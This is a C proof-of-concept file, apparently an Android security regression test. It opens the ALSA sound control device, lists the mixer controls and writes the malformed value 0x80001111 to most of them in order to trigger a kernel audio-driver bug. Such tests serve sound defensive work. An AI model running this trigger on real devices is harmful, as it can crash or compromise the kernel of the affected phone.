C++程序  |  237行  |  5.59 KB

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#define _GNU_SOURCE

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <linux/fb.h>
#include <dlfcn.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
#include <sound/asound.h>
#include <sys/types.h>
#include <sys/wait.h>

#define MAXNUM 94
#define MAXPCMOP 25
#define MAXELE 16384

char* CONTBL[MAXNUM]={
    "comprC0D17",
    "comprC0D18",
    "comprC0D37",
    "comprC0D38",
    "comprC0D39",
    "comprC0D40",
    "comprC0D41",
    "comprC0D42",
    "comprC0D9",
    "controlC0",
    "hwC0D10",
    "hwC0D1000",
    "hwC0D11",
    "hwC0D12",
    "hwC0D13",
    "hwC0D14",
    "hwC0D15",
    "hwC0D16",
    "hwC0D2",
    "hwC0D20",
    "hwC0D21",
    "hwC0D22",
    "hwC0D24",
    "hwC0D25",
    "hwC0D26",
    "hwC0D3",
    "hwC0D30",
    "hwC0D31",
    "hwC0D35",
    "hwC0D36",
    "hwC0D37",
    "hwC0D39",
    "hwC0D40",
    "hwC0D45",
    "hwC0D7",
    "hwC0D8",
    "hwC0D9",
    "pcmC0D0c",
    "pcmC0D0p",
    "pcmC0D10c",
    "pcmC0D10p",
    "pcmC0D11c",
    "pcmC0D11p",
    "pcmC0D12c",
    "pcmC0D12p",
    "pcmC0D13c",
    "pcmC0D13p",
    "pcmC0D14c",
    "pcmC0D14p",
    "pcmC0D15c",
    "pcmC0D15p",
    "pcmC0D16c",
    "pcmC0D19c",
    "pcmC0D19p",
    "pcmC0D1c",
    "pcmC0D1p",
    "pcmC0D20c",
    "pcmC0D20p",
    "pcmC0D21p",
    "pcmC0D22c",
    "pcmC0D22p",
    "pcmC0D23c",
    "pcmC0D23p",
    "pcmC0D24c",
    "pcmC0D24p",
    "pcmC0D25c",
    "pcmC0D26p",
    "pcmC0D27c",
    "pcmC0D28c",
    "pcmC0D29c",
    "pcmC0D2c",
    "pcmC0D2p",
    "pcmC0D30c",
    "pcmC0D31c",
    "pcmC0D32c",
    "pcmC0D33c",
    "pcmC0D34c",
    "pcmC0D35c",
    "pcmC0D35p",
    "pcmC0D36c",
    "pcmC0D36p",
    "pcmC0D3c",
    "pcmC0D3p",
    "pcmC0D43c",
    "pcmC0D44c",
    "pcmC0D44p",
    "pcmC0D45c",
    "pcmC0D45p",
    "pcmC0D4p",
    "pcmC0D5c",
    "pcmC0D5p",
    "pcmC0D6c",
    "pcmC0D7p",
    "pcmC0D8c"
};

 char* OPPCM[MAXPCMOP]={
    "/dev/snd/pcmC0D0p",
    "/dev/snd/pcmC0D10p",
    "/dev/snd/pcmC0D11p",
    "/dev/snd/pcmC0D12p",
    "/dev/snd/pcmC0D13p",
    "/dev/snd/pcmC0D14p",
    "/dev/snd/pcmC0D15p",
    "/dev/snd/pcmC0D19p",
    "/dev/snd/pcmC0D1p",
    "/dev/snd/pcmC0D20p",
    "/dev/snd/pcmC0D21p",
    "/dev/snd/pcmC0D22p",
    "/dev/snd/pcmC0D23p",
    "/dev/snd/pcmC0D24p",
    "/dev/snd/pcmC0D2p",
    "/dev/snd/pcmC0D32p",
    "/dev/snd/pcmC0D33p",
    "/dev/snd/pcmC0D3p",
    "/dev/snd/pcmC0D40p",
    "/dev/snd/pcmC0D41p",
    "/dev/snd/pcmC0D44p",
    "/dev/snd/pcmC0D47p",
    "/dev/snd/pcmC0D4p",
    "/dev/snd/pcmC0D5p",
    "/dev/snd/pcmC0D7p"
};

void poc(char* name)
{
    int fd, ret, cmd, index,pcmfd, i;
    char dev[36]={0};
    snprintf(dev, sizeof(dev),"/dev/snd/%s", name);
    fd = open(dev, O_RDWR);
    if (fd < 0) 
    {
        return;
    }

    cmd = SNDRV_CTL_IOCTL_CARD_INFO;
    struct snd_ctl_card_info info;
    ret = ioctl(fd, cmd, &info);

    struct snd_ctl_elem_list lst;
    struct snd_ctl_elem_value control;
    memset(&lst, 0, sizeof(lst));
    lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));
    lst.space = MAXELE;
    cmd = SNDRV_CTL_IOCTL_ELEM_LIST;
    ret = ioctl(fd, cmd, &lst);
    control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;

    for(index=0;(unsigned int)index<lst.count;index++)
    {
        if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||
           !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||
           !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||
           !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||
           !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||
           !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||
           !strncmp((const char *)lst.pids[index].name,"left Profile",12)||
           !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||
           !strncmp((const char *)lst.pids[index].name, "LSM",3)||
           !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||
           !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||
           !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;

        control.id.numid=lst.pids[index].numid;
        ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
    }
    close(fd);
}

struct mystruct{
    int a;
    char* pp;
};

void freeptr(struct mystruct* p)
{
    unsigned char* n = (unsigned char *)p->pp;
    n = NULL;
    p->pp = NULL;
    p = NULL;
}

int main()
{
    int i =0;
    for(i = 0; i< MAXNUM; i++)
    {
        poc("controlC0");
        break;
    }
    return 1;
}